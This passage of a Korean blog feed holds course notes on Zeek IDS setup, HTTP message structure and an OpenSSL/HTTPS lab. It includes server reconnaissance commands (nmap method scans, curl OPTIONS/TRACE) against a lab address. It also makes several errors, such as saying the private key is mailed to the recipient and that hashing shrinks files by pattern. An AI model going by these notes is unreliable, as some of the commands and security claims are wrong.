<li>네트워크를 모니터링 할 수 있는 오픈 소스 프로그램</li>
</ul>
<h3 id="12-목적-및-기능">1.2. 목적 및 기능</h3>
<ol>
<li>패킷 수집</li>
<li>TCP/IP 헤더를 분석</li>
<li>응용 프로토콜의 헤더를 분석</li>
<li>프로토콜별 분류</li>
<li>프로토콜별 로그 생성</li>
</ol>
<h2 id="2-zeek-설치방법">2. Zeek 설치방법</h2>
<pre><code class="language-bash">$ apt update 
$ apt-get install curl gnupg2 wget –y
$ curl -fsSL https://download.opensuse.org/repositories/security:zeek/xUbuntu_20.04/Release.key | gpg --dearmor | tee /etc/apt/trusted.gpg.d/security_zeek.gpg
$ echo &#39;deb http://download.opensuse.org/repositories/security:/zeek/xUbuntu_20.04/ /&#39; | tee /etc/apt/sources.list.d/security:zeek.list

$ apt update -y
$ apt-get install zeek -y</code></pre>
<pre><code class="language-bash">$ echo &quot;export PATH=$PATH:/opt/zeek/bin&quot; &gt;&gt; ~/.bashrc
$ source ~/.bashrc
$ zeek --version
</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/e79d1860-1b4d-4a79-bb7b-1e31d7a75618/image.png" alt=""></p>
<h2 id="3-zeek-환경설정">3. Zeek 환경설정</h2>
<pre><code class="language-bash">$ cd /otp/zeek/etc
$ nano networks.cfg</code></pre>
<h3 id="31-관제할-네트워크-등록하기">3.1. 관제할 네트워크 등록하기</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/91282e8b-f56d-49e8-8b81-94038bd5686c/image.png" alt=""></p>
<h3 id="32-관제할-네트워크-타입">3.2. 관제할 네트워크 타입</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7be0a9c2-4790-45bf-b20a-5daabbc9f11f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a2a40d8c-d683-40db-8385-53767e4430d8/image.png" alt=""></p>
<h3 id="33-로그가-저장될-위치-확인">3.3. 로그가 저장될 위치 확인</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/98e3b8dc-bcdf-4b17-a2cb-ede559eaa559/image.png" alt=""></p>
<h3 id="33-zeek-활성화">3.3. Zeek 활성화</h3>
<pre><code class="language-bash">$ zeekctl check
$ zeekctl deploy
$ zeekctl status</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/37a1206c-a76f-4472-82c9-0b80ff5fcd88/image.png" alt=""></p>
<h2 id="4-로그-확인">4. 로그 확인</h2>
<blockquote>
<p>WebServer 가상머신</p>
</blockquote>
<pre><code class="language-bash">$ service httpd start
$ service iptables start</code></pre>
<pre><code class="language-bash">$ cd /opt/zeek/spool/zeek
$ ls -l</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/094509c9-a10e-4f28-97e4-636fdcb00ee0/image.png" alt=""></p>
<h3 id="41-zeek-http-로그-필드">4.1. Zeek HTTP 로그 필드</h3>
<pre><code class="language-bash">$ nanao http.log</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/420c115b-3254-4f05-b965-d1a76010e86e/image.png" alt=""></p>
<h3 id="42-zeek-dns-로그-필드">4.2. Zeek DNS 로그 필드</h3>
<pre><code class="language-bash">$ nanao dns.log</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/848176da-670a-4770-9adb-0e53e80e29e0/image.png" alt=""></p>
<h3 id="43-zeek-ssl-로그-필드">4.3. Zeek SSL 로그 필드</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/db080bde-c323-4656-a9a6-f86861ee57c2/image.png" alt=""></p>
<h3 id="44-zeek-x509-로그-필드">4.4. Zeek X.509 로그 필드</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/68e6c2c3-fea8-4cf2-af42-ef18666af20b/image.png" alt=""></p>
<h3 id="45-오래된-로그는-어디로">4.5. 오래된 로그는 어디로?</h3>
<p><code>/opt/zeek/spool/zeek</code> 에서 일정 시간이 지나면 로그를 압축 파일로 만들어 <code>/opt/zeek/logs</code> 에 날짜별로 저장해 놓는다.</p>
<pre><code class="language-bash">$ cd /opt/zeek/logs
$ ls -l</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/8acca44e-4347-42e8-a833-2b83887926b7/image.png" alt=""></p>
<pre><code class="language-bash">$ cd 2024-01-09
$ ls -l</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1b801d25-762c-44ef-825a-09c783a6f09d/image.png" alt=""></p>
<h2 id="5-로그-전송">5. 로그 전송</h2>
<h3 id="51-splunk---tcp-22포트-방화벽-열기">5.1. Splunk - tcp 22포트 방화벽 열기</h3>
<p>tcp 22포트 방화벽 열기
<img src="https://velog.velcdn.com/images/p-jina/post/f6c7217c-1f38-4206-a99f-e4262043098d/image.png" alt=""></p>
<p><code>/tmp</code> 는 sticky bit 설정이 되어 있기 때문에 기타 사용자도 여기에 파일을 만들 수 있다. 별도의 로그 디렉토리를 만들지 않고 /tmp를 사용할 것이다. 
<img src="https://velog.velcdn.com/images/p-jina/post/bf14fbc2-266b-4e68-8a3c-c85ea688eb17/image.png" alt=""></p>
<h3 id="52-zeekids---splunk-에게-httplog-파일-전송하기">5.2. ZeekIDS - Splunk 에게 http.log 파일 전송하기</h3>
<pre><code class="language-bash">$ scp http.log splunk@192.168.10.10:/tmp</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/516c5710-4577-4766-a810-bd403a1bbcdc/image.png" alt=""></p>
<h3 id="53-splunk---전송된-로그-확인">5.3. Splunk - 전송된 로그 확인</h3>
<p><code>/tmp</code> 에서 파일 리스트를 확인하면 
<img src="https://velog.velcdn.com/images/p-jina/post/f08b62a9-70e4-42f2-870d-1581b69c7cb5/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] Web 구조]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-Web-%EA%B5%AC%EC%A1%B0</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-Web-%EA%B5%AC%EC%A1%B0</guid>
            <pubDate>Tue, 09 Jan 2024 05:02:34 GMT</pubDate>
            <description><![CDATA[<h2 id="1-http">1. HTTP</h2>
<h3 id="11-정의">1.1. 정의</h3>
<p>클라이언트와 서버 사이의 웹 문서를 송수신해주는 프로토콜</p>
<h3 id="12-3-tier-web-system-architecture">1.2. 3-Tier Web System Architecture</h3>
<ol>
<li>Front Server (Web Server)</li>
<li>Application Server</li>
<li>DB Server</li>
</ol>
<h3 id="13-url-구조">1.3. URL 구조</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d9aba906-f1c5-4d14-abaf-f74e6b9665fe/image.png" alt=""></p>
<p><a href="https://search.naver.com/search.naver?where=nexearch&amp;sm=top_hty&amp;fbm=0&amp;ie=utf8&amp;query=kbs">https://search.naver.com/search.naver?where=nexearch&amp;sm=top_hty&amp;fbm=0&amp;ie=utf8&amp;query=kbs</a></p>
<ul>
<li><strong>도메인</strong> : search.naver.com</li>
<li><strong>uri</strong> : /search.naver?where=nexearch&amp;sm=top_hty&amp;fbm=0&amp;ie=utf8&amp;query=kbs</li>
<li><strong>DB질의조건</strong> : ?where=nexearch&amp;sm=top_hty&amp;fbm=0&amp;ie=utf8&amp;query=kbs</li>
</ul>
<h3 id="14-version">1.4. Version</h3>
<ul>
<li><strong>HTTP 1.0</strong> : 텍스트용 세션을 맺고 close 했다가 이미지용 세션을 다시 맺고 close한다. ⇒ 각 요청마다 새로운 세션을 생성하고 종료하는 방식(단기 커넥션)</li>
<li><strong>HTTP 1.1</strong> : 텍스트 전송부터 이미지 전송까지 한 번의 세션에 끝난다. ⇒ 여러 요청을 한 번의 세션에서 처리하는 방식(영속적인 커넥션)</li>
</ul>
<h2 id="2-request-구조">2. Request 구조</h2>
<pre><code class="language-bash"># 요청 라인
POST /dvwa/login.php HTTP/1.1

# 요청 헤더(header)
Host: 192.168.10.60 # 요청이 전송되는 서버의 도메인
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 # 요청을 생성한 클라이언트의 정보
# 클라이언트가 수신할 수 있는 미디어 타입, 언어, 인코딩 형식
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
# 요청 본문 미디어 타입, 길이
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://192.168.10.60
Connection: close
Referer: http://192.168.10.60/dvwa/login.php
Cookie: security=high; PHPSESSID=16fac79f111d3bb1fc9c1bc82a31310c
Upgrade-Insecure-Requests: 1
# 공백라인
# 요청 메세지 본문(body)
username=admin&amp;password=password&amp;Login=Login</code></pre>
<h3 id="21-요청라인">2.1. <strong>요청라인</strong></h3>
<pre><code class="language-bash">POST /dvwa/login.php HTTP/1.1
# Method     URI         HTTP ver</code></pre>
<p>URI의 <code>/</code> 표시는 <code>index.html</code> 요청을 의미</p>
<h4 id="method-종류">&lt; Method 종류 &gt;</h4>
<ul>
<li><strong><code>GET</code> :</strong> 일반 데이터를 요청할 때 사용, URI에 표시됨</li>
<li><strong><code>POST</code> :</strong> 일반 데이터를 요청할 때 사용, Body부분에 데이터를 넣어서 요청</li>
<li><strong><code>PUT</code> :</strong> POST와 유사, 지정된 위치에 파일을 서버에 올릴 때 사용</li>
<li><strong><code>DELETE</code> :</strong> 지정된 위치의 파일을 삭제할 때 사용</li>
<li><strong><code>HEAD</code> :</strong> GET 방식과 동일, 서버의 상태 확인할 때 사용
✅ <code>HEAD</code> 와 <code>OPTIONS</code> 는 공격자가 공격을 하기 전 <u>서버 상태와 허용되는 메소드를 확인할 때 사용</u>할 수 있다.</li>
<li><strong><code>OPTIONS</code> :</strong> HEAD보다 구체적으로 서버의 상태를 확인할 때 사용</li>
<li><strong><code>TRACE</code> :</strong> 프록시를 이용해서 서버에 접속할 때 몇 개의 프록시를 경유해서 서버에 도착하는지 확인 가능<ul>
<li>Request 헤더에 Maz-Forwards 라는 항목이 표시되는 것을 확인할 수 있음</li>
</ul>
</li>
<li><strong><code>CONNECT</code> :</strong> 클라이언트가 프록시 서버를 통해 다른 네트워크 서비스에 직접 연결을 요청할 때 사용</li>
<li><strong><code>PATCH</code> :</strong> 리소스 일부를 수정하는 경우 사용</li>
</ul>
<h4 id="nmap으로-서버-스캔하기">&lt; nmap으로 서버 스캔하기 &gt;</h4>
<pre><code class="language-shell"># 해당 IP가 열어둔 Methods 확인 가능
$ nmap --script http-methods 192.168.10.60</code></pre>
<pre><code class="language-shell"># HEAD 메소드를 보내는 명령어
$ curl -I 192.168.10.60</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/35205ee0-69e7-4089-adb6-4179cfc530d6/image.png" alt=""></p>
<h4 id="curl을-이용해-특정-ip에-options-요청">&lt; curl을 이용해 특정 IP에 OPTIONS 요청 &gt;</h4>
<pre><code class="language-shell">$ curl -v -X OPTIONS 192.168.10.60</code></pre>
<h4 id="telnet을-이용해-특정-ip의-특정-포트로-원격접속">&lt; telnet을 이용해 특정 IP의 특정 포트로 원격접속 &gt;</h4>
<pre><code class="language-shell"># 192.168.10.60에 80포트로 접속
$ telnet 192.168.10.60 80
# Method * HTTP/1.1 입력 후 Enter 2번</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/24508574-1bff-4ba6-95f2-51c749bb93ce/image.png" alt=""></p>
<h4 id="curl을-이용해-특정-url에-trace-요청">&lt; curl을 이용해 특정 URL에 TRACE 요청 &gt;</h4>
<pre><code>$ curl -v -X TRACE http://192.168.10.60</code></pre><h3 id="22-요청헤더">2.2. 요청헤더</h3>
<pre><code class="language-bash">Host: 192.168.10.60 # 어느 사이트에 접속했는지 알려주는 호스트
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
# text는 html 형식의 파일을 받을 수 있고, application은 xhtml과 xml을 받아들일 수 있다.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://192.168.10.60
Connection: close
Referer: http://192.168.10.60/dvwa/login.php
Cookie: security=high; PHPSESSID=16fac79f111d3bb1fc9c1bc82a31310c
Upgrade-Insecure-Requests: 1</code></pre>
<h3 id="23-공백라인">2.3. 공백라인</h3>
<p>개행문자 CR+LF</p>
<h3 id="24-메세지-본문">2.4. 메세지 본문</h3>
<pre><code class="language-bash">username=admin&amp;password=password&amp;Login=Login</code></pre>
<ul>
<li>Post 방식으로 요청한 경우에만 나타난다.</li>
<li>Body가 있으면 반드시 Response에 Content-type이나 Content-Length가 나타난다.</li>
</ul>
<h2 id="3-response-구조">3. Response 구조</h2>
<pre><code class="language-bash"># 상태라인
HTTP/1.1 200 OK
# 응답헤더(header)
Date: Thu, 25 Jan 2024 02:41:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 23 Jan 2024 13:46:26 GMT
ETag: &quot;45b6-5c7e8b346b800&quot;
Accept-Ranges: bytes
Content-Length: 17814
Vary: Accept-Encoding
Content-Type: text/html
# 공백라인
# 메세지 본문(body)
&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Welcome to My Website!&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Hello, world!&lt;/h1&gt;
&lt;p&gt;Welcome to my website. Here you can find a lot of interesting content. Enjoy your stay!&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<h3 id="31-상태라인">3.1. 상태라인</h3>
<pre><code class="language-bash">HTTP/1.1 200 OK
# HTTP버전    요청실행결과코드</code></pre>
<h4 id="response-코드">&lt; Response 코드 &gt;</h4>
<ul>
<li><strong>2xx</strong> : 성공</li>
<li><strong>3xx</strong> : 리다이렉션(방향 재지정) - Location 확인 가능<ul>
<li><strong>301</strong> : 영구적 이동</li>
<li><strong>302</strong> : 일시적 이동</li>
<li><strong>304</strong> : 리소스 변경X 로컬 캐시의 복사본 사용
✅ 200과 300의 공통점 : 요청 성공
✅ 200과 300의 차이점 : 300은 지연시간이 발생</li>
</ul>
</li>
<li><strong>4xx</strong> : 클라이언트측 에러<ul>
<li><strong>400</strong> : 문법적 오류</li>
<li><strong>401</strong> : 인증 실패</li>
<li><strong>403</strong> : 접근 권한이 없는 리소스를 요청</li>
<li><strong>404</strong> : 존재하지 않는 리소스를 요청</li>
</ul>
</li>
<li><strong>5xx</strong> : 서버측 에러<ul>
<li><strong>500</strong> : 소프트웨어상(애플리케이션) 오류</li>
<li><strong>501</strong> : 웹에서 요청한 메소드가 서버에서 허용하는 것이 아닐 경우</li>
<li><strong>502</strong> : 서버와 클라이언트를 중계해주는 프록시에 문제가 발생할 경우 
✅ 웹에서 게이트웨이는 프록시를 의미</li>
<li><strong>503</strong> : 하드웨어상(RAM,CPU) 오류</li>
</ul>
</li>
</ul>
<h3 id="32-응답헤더">3.2. 응답헤더</h3>
<pre><code class="language-bash">Date: Thu, 25 Jan 2024 02:41:09 GMT # 응답 생성 날짜와 시간
Server: Apache/2.4.41 (Ubuntu) # 응답을 생성한 웹 서버 정보
Last-Modified: Mon, 23 Jan 2024 13:46:26 GMT # 문서가 마지막으로 변경된 날짜와 시간
ETag: &quot;45b6-5c7e8b346b800&quot; # 문서 버전을 나타내는 식별자
Accept-Ranges: bytes # 서버가 받아들일 수 있는 범위 요청
Content-Length: 17814 # 본문 길이(byte)
Vary: Accept-Encoding # 캐시서버가 요청 헤더를 기반으로 캐시된 응답을 선택하는 방법을 표시
Content-Type: text/html # 응답 본문의 미디어 타입</code></pre>
<h3 id="33-공백라인">3.3. 공백라인</h3>
<p>개행문자 CR+LF</p>
<h3 id="34-메세지-본문">3.4. 메세지 본문</h3>
<pre><code class="language-bash">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Welcome to My Website!&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;Hello, world!&lt;/h1&gt;
&lt;p&gt;Welcome to my website. Here you can find a lot of interesting content. Enjoy your stay!&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<h2 id="4-proxy-server">4. Proxy Server</h2>
<h3 id="41-정의">4.1. 정의</h3>
<p>서버와 클라이언트 간의 요청과 응답을 중계하는 역할을 수행하는 서버(프로그램)</p>
<h3 id="42-목적-및-기능">4.2. 목적 및 기능</h3>
<ol>
<li><strong>트래픽 분산 :</strong> <span style="color:#e06c75"><strong>Load Balancer 로 사용됨</strong></span></li>
<li><strong>캐시 서버로 이용</strong></li>
<li><strong>보안 :</strong><ul>
<li><span style="color:#e06c75"><strong>Forward Proxy</strong></span><ol>
<li>실제 서버 또는 클라이언트의 IP를 숨김</li>
<li>들어오는 IP의 주소를 변환 시킴 ⇒ 차단된 사이트 접속</li>
</ol>
</li>
<li><span style="color:#e06c75"><strong>Reverse Proxy</strong></span><ol>
<li>서버 쪽에서 생성</li>
<li>내부 서버의 안정성을 보장하기 위해 <u>서비스 제공 서버의 IP를 변환 시킴</u></li>
</ol>
</li>
</ul>
</li>
</ol>
<p>이 외 여러가지 목적으로 사용
해킹할 때는 멀티레이어 웹 프록시를 사용</p>
<blockquote>
<p>💡 <strong>&lt; 프록시 서버를 사용하고 있는지 알 수 있는 2가지 방법 &gt;</strong></p>
</blockquote>
<ol>
<li><span style="color:#e06c75"><strong>Request 메소드</strong></span>가 <span style="color:#e06c75"><strong>Connect</strong></span>면 프록시를 경유해 들어왔음을 알 수 있다. </li>
<li><span style="color:#e06c75"><strong>URI</strong></span>에 프로토콜부터 <span style="color:#e06c75"><strong>전체 주소가 보여지면</strong></span> 프록시를 사용했음을 알 수 있다.</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][클라우드기반 시스템 운영 및 구축] 암호화, SSL/TLS, HTTPS 구성 실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%95%94%ED%98%B8%ED%99%94</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%ED%81%B4%EB%9D%BC%EC%9A%B0%EB%93%9C%EA%B8%B0%EB%B0%98-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EC%9A%B4%EC%98%81-%EB%B0%8F-%EA%B5%AC%EC%B6%95-%EC%95%94%ED%98%B8%ED%99%94</guid>
            <pubDate>Mon, 08 Jan 2024 02:29:54 GMT</pubDate>
            <description><![CDATA[<h2 id="1-대칭키-암호화-vs-비대칭-암호화">1. 대칭키 암호화 VS 비대칭 암호화</h2>
<h3 id="11-대칭키-암호화">1.1. 대칭키 암호화</h3>
<ul>
<li>동일한 키로 암호화와 복호화</li>
<li>알고리즘 종류 : DES, 3DES, AES, Twofish</li>
</ul>
<h3 id="12-비대칭-암호화">1.2. 비대칭 암호화</h3>
<ul>
<li>서로 다른 키로 암호화와 복호화<ul>
<li>Public Key(공개키) = 공개키</li>
<li>Private Key(개인키) = 발행 주체만 갖는 키</li>
</ul>
</li>
<li>알고리즘 종류 : RSA, ECC</li>
<li>고려해야할 부분 : 키를 생성해서 반드시 배포해줘야 한다. 일반적으로 네이버에서는 공개키를 인증서로 전달한다.</li>
</ul>
<blockquote>
<p>💡 <strong>크롬에서 인증서 확인하는 방법</strong>
<img src="https://velog.velcdn.com/images/p-jina/post/d4af4c06-0d51-491c-a5c0-af5689a2acd7/image.png" alt=""></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/p-jina/post/e624c26b-42dd-4eb1-9e9d-c558ac18e1bc/image.png" alt=""></p>
<blockquote>
</blockquote>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d265da20-2182-4005-976d-1ca7424658eb/image.png" alt=""></p>
<h3 id="13-암호화의-역할">1.3. 암호화의 역할</h3>
<ol>
<li>기밀성 (Confidentiality) : 인가받은 사람만 접근할 수 있는지</li>
<li>신뢰성 (Authenticity) : 정보의 출처 또는 사용자 자격 증명을 신뢰할 수 있는지</li>
<li>무결성 (Integrity) : 정보가 조작되지 않았음을 보장하는지
⇒ Key를 이용한 암호화 기술로서 해결</li>
</ol>
<h3 id="14-대칭키-암호화-실습">1.4. 대칭키 암호화 실습</h3>
<pre><code>       (1) 공유된 대칭키를 사용하여 데이터 암호화 
A ---- (2) B의 대칭키를 사용하여 암호화된 정보 전송 ----&gt; B
       (3) B는 자신의 대칭키로 암호화된 정보를 복호화       </code></pre><pre><code class="language-shell">$ echo &#39;This is th plain text&#39; &gt; P1.txt
$ ls P1.txt
$ cat P1.txt</code></pre>
<h4 id="암호화">암호화</h4>
<pre><code class="language-shell"># openssl enc -e -암호화 알고리즘 -salt값 사용여부 -in 암호화할 파일명 -out P2.bin
$ openssl enc -e -des- salt -in P1.txt -out P2.bin</code></pre>
<h4 id="복호화">복호화</h4>
<pre><code class="language-shell"># $ openssl enc 
$ openssl enc -d -des3 -in P2.bin -out P3.txt</code></pre>
<h3 id="15-비대칭-암호화-실습">1.5. 비대칭 암호화 실습</h3>
<pre><code>A &lt;----------- (1) B의 공개키를 얻는다 ------------ B
A ----(2) B의 공개키를 사용하여 암호화된 정보 전송 ----&gt; B
      (3) B는 자신의 개인키로 암호화된 정보를 복호화</code></pre><blockquote>
<ul>
<li>공개키로 암호화 / 개인키로 복호화 ⇒ 기밀성</li>
</ul>
</blockquote>
<ul>
<li>개인키로 암호화 / 공개키로 복호화 ⇒ 신뢰성(송신자 인증)<ul>
<li>개인키로 암호화하는 것을 <code>전자서명</code> 라고 한다.</li>
</ul>
</li>
</ul>
<h4 id="private-key-생성">Private Key 생성</h4>
<pre><code class="language-shell"># RSA로 개인키 생성, 키의 길이는 2048bit (1024는 안전 X 주로 2048) 
$ openssl genrsa -out private.pem 2048</code></pre>
<p>개인키를 만들면 이 키를 수신자에게 메일이나 USB로 전달하면 된다.
비대칭키 암호화 방식에서는 <span style="color:#e06c75"><strong>개인키를 가진 인가자만이 데이터를 열람할 수 있다.</strong></span> == 기밀성 보장</p>
<h4 id="public-key-생성">Public Key 생성</h4>
<p>개인키-공개키는 하나의 세트이다.
private 개인키에 대한 공개키이다.</p>
<pre><code class="language-shell">$ openssl rsa -in private.pem -out public.pem -outfrom PEM -pubout</code></pre>
<h4 id="평문을-공개키로-암호화">평문을 공개키로 암호화</h4>
<pre><code class="language-shell">$ openssl rsautl -encrypt -inkey pulic.pem -pubin -in P1.txt -out P4.ssl</code></pre>
<p>파일이 암호화 됐는지 확인</p>
<pre><code class="language-shell">$ cat P5.txt</code></pre>
<h4 id="개인키로-복호화">개인키로 복호화</h4>
<pre><code class="language-shell">$ openssl rsautl -decrypt -inkey private.pem -in P4.ssl -out P5.txt</code></pre>
<p>파일이 복호화 됐는지 확인</p>
<pre><code class="language-shell">$ ls -l
$ cat P5.txt</code></pre>
<h2 id="3-암호화-알고리즘-vs-해시-알고리즘">3. 암호화 알고리즘 VS 해시 알고리즘</h2>
<ul>
<li>암호화 알고리즘 (양방향성) : DES, 3DES, RSA</li>
<li>해시 알고리즘 (단방향성) : HD, SHA</li>
</ul>
<h3 id="31-해시">3.1. 해시</h3>
<p>하나의 문자열을 이를 상징하는 더 짧은 길이의 값이나 키로 변환하는 것</p>
<blockquote>
<p>💡 오픈소스 파일들은 해시값을 공개하게 되어있다. 원본과 다운로드 받은 파일이 동일한지 비교해서 파일이 변조됐는지 확인 후 설치하도록 하기 위해서</p>
</blockquote>
<h3 id="32-해시-알고리즘-순서">3.2. 해시 알고리즘 순서</h3>
<pre><code>(1) A는 전달할 원본 데이터의 해시값 + 개인키 암호 ⇒ 전자서명
(2) A --------- B에게 데이터 전송 ---------&gt; B
(3) B는 A의 공용키로 전자서명을 복호화 ⇒ 원본의 Digest와 복호화한 Digest를 비교하여 원본 확인</code></pre><blockquote>
<p>💡 개인 대 개인인 경우 해시 알고리즘을 사용하게 되면 송신자와 수신자가 어떤 해시 알고리즘을 사용하고, 어떻게 전송할지 협의해야한다. 기업의 경우 네이버 같이 큰 사이트는 인증서로 공개키, 해시 알고리즘(전자서명)을 포함시킨다.</p>
</blockquote>
<blockquote>
<p>💡 원본파일을 해시로 만들면 용량이 줄어든다. 왜? 일정한 패턴의 문자열로 바뀌기 때문에 </p>
</blockquote>
<h2 id="4-ssltls">4. SSL/TLS</h2>
<ul>
<li>실제 인증서 루트 발급 기관 : CA</li>
<li>공인인증서 발급 대리기관 : 은행, 증권사</li>
</ul>
<h3 id="41-자체-발급-인증서">4.1. 자체 발급 인증서</h3>
<ul>
<li>발급 대상과 발급자가 동일한 경우 자체 발급 인증서라고 한다.</li>
<li>자체 인증은 최상위 인증서 발급 기관(CA)만 가능하다.</li>
<li>자체 발급 인증서는 유효성 검사 X </li>
</ul>
<p>⇒ 자체 발급 인증서를 사용하려면 신뢰할 수 있는 루트 인증 기관에 인증서를 Import 해야한다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/446fec82-ecf3-440d-82ac-d934291a0ed5/image.png" alt=""><img src="https://velog.velcdn.com/images/p-jina/post/4b5c9cf5-648b-4c6d-9feb-afcc2b8e6855/image.png" alt=""></p>
<h3 id="42-인증서-오류">4.2. 인증서 오류</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a3f1b2e9-1b5d-4239-86a4-5533393453af/image.png" alt="">
오류가 발생하는 이유는 다음과 같다.</p>
<ol>
<li>인증서의 유효기간이 지난 경우</li>
<li>인증서의 유효성 검사에 실패한 경우</li>
<li>인증서의 유효성 검사를 할 수 없는 경우</li>
<li>인증서 자체에 문제가 있는 경우</li>
</ol>
<p>CA전자서명(개인키)는 
Web서버의 공개키는 </p>
<ol>
<li>인증기관(CA)에서 웹 브라우저에게 인증서(CA공개키)를 배포한다.</li>
<li>사용자가 웹 브라우저를 설치하면 인증서(CA공개키)도 함께 설치된다. </li>
<li>웹 서버에서 키(개인키, 공개키)를 생성한다.</li>
<li>웹 서버가 인증기관에게 인증요청서(공개키)를 제출한다.</li>
<li>인증기관에서 웹 서버가 제출한 인증요청을 심사한다.</li>
<li>인증기관이 웹 서버가 도메인 이름으로 인증서(전자서명)를 발급해준다.</li>
<li>웹 서버가 클라이언트에게 Web 서버 공개키와  CA 전자서명을 제출한다.</li>
<li>클라이언트가 갖고 있는 CA 인증서로 Web서버가 제공한 공개키와 CA 전자서명의 신뢰를 확인한다.</li>
<li>암호화된 데이터를 전송한다.
⇒ 이런 일련의 프로세스 절차 자체, 복합 보안 시스템 환경을 PKI 라고 한다.</li>
</ol>
<p>SSL에서 
대칭키 : 데이터 암호화
비대칭키 : 공개키(대칭키를 암호화 시키기 위함)
⇒ 대칭키를 안전하게 사용하기 위해 비대칭키를 사용한다.</p>
<p>HTTPS : 웹 클라이언트와 웹 서버 가이에 웹 문서를 암호화</p>
<h2 id="5-https-구성-실습">5. HTTPS 구성 실습</h2>
<ul>
<li>시나리오<ol>
<li>웹 서버(HTTP) 설치 </li>
<li>환경설정</li>
<li>방화벽 활성화</li>
<li>서비스 활성화</li>
</ol>
</li>
<li>인증서 생성<ol>
<li>키 생성</li>
<li>인증요청서 (*.csr)</li>
<li>인증서 (*.crt)</li>
</ol>
</li>
</ul>
<h3 id="51-http-server-구성">5.1. HTTP Server 구성</h3>
<h4 id="1-httpd-설치-확인">1. httpd 설치 확인</h4>
<pre><code class="language-shell"># httpd 설치확인
$ rpm -qa | grep httpd</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/65d1c7d7-e1b9-4081-b106-c6639732cb7c/image.png" alt=""></p>
<pre><code class="language-shell"># httpd 버전확인
$ httpd -v</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7a7ee622-46c2-468b-9260-c1651216f568/image.png" alt=""></p>
<pre><code class="language-shell"># 오픈소스 SSL 설치 확인
$ rpm -qa | grep openssl</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d309f6a0-cd85-4a29-a4bd-3994e1a3b8aa/image.png" alt=""></p>
<h4 id="2-인증서-작업을-위한-설정-준비">2. 인증서 작업을 위한 설정 준비</h4>
<pre><code class="language-shell"># httpd에 모듈있는지 확인
$ ls /etc/httpd/modules/mod_ssl.so

# 모듈 없으면 설치
$ yum -y install mod_ssl</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/59c1f7d5-9111-4731-b89e-d750ea0d829f/image.png" alt=""></p>
<h4 id="3-환경-설정-확인-후-indexhtml홈페이지-작성">3. 환경 설정 확인 후 index.html(홈페이지 작성)</h4>
<p><code>/etc/httpd/conf/httpd.conf</code> ⇒ http 환경 설정 파일
<code>/var/www/html/index.html</code> ⇒ 홈페이지 파일</p>
<pre><code class="language-shell">$ cd /etc/httpd/conf
$ ls httpd.conf
$ nano httpd.conf</code></pre>
